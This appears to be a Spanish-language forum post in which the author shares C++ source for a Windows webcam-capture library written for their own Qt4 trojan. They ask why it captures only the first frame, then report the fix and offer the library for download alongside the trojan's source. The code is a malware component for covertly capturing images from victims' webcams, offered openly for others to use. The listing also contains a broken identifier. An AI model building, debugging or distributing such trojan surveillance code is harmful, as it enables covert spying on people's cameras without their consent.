Hola, me he hecho una pequeña libreria en c++ para la captura de webcam desde mi troyano Qt4, la he hecho usando la API de windows y más adelante haré otra para v4l y asi completar el soporte multiplataforma.
Pero tengo un problema que no se como sulucionar, resulta que despúes de encender la cámara está solo me captura el primer frame y no se actualiza y no se porque. os dejo el código fuente a ver si le podeis hechar un vistazo (Licencia GPL).
#include "webcamwin.h"
HWND hwndVideo; // video capture window
void encender()
{
::hwndVideo = capCreateCaptureWin dowA("captura",WS_POPUP,160, 120 ,320, 240,NULL,0);
capDriverConnect(::hwndVideo,0);
capPreviewRate(::hwndVideo,100);
capPreviewScale(::hwndVideo,false);
capPreview(::hwndVideo,true);
}
void apagar()
{
capPreview(::hwndVideo,FALSE);
DestroyWindow(::hwndVideo);
::hwndVideo = NULL;
}
QPixmap capturar()
{
QPixmap imagen;
capFileSaveDIB(::hwndVideo,L"prueba.bmp");
imagen.load("prueba.bmp");
return imagen;
}
Edito:
Bueno ya solucioné el problema cambiando algunas cosas en la llamada a capCreateWindowA... interesados en la libreria la pueden descargar junto al fuente de mi troyano.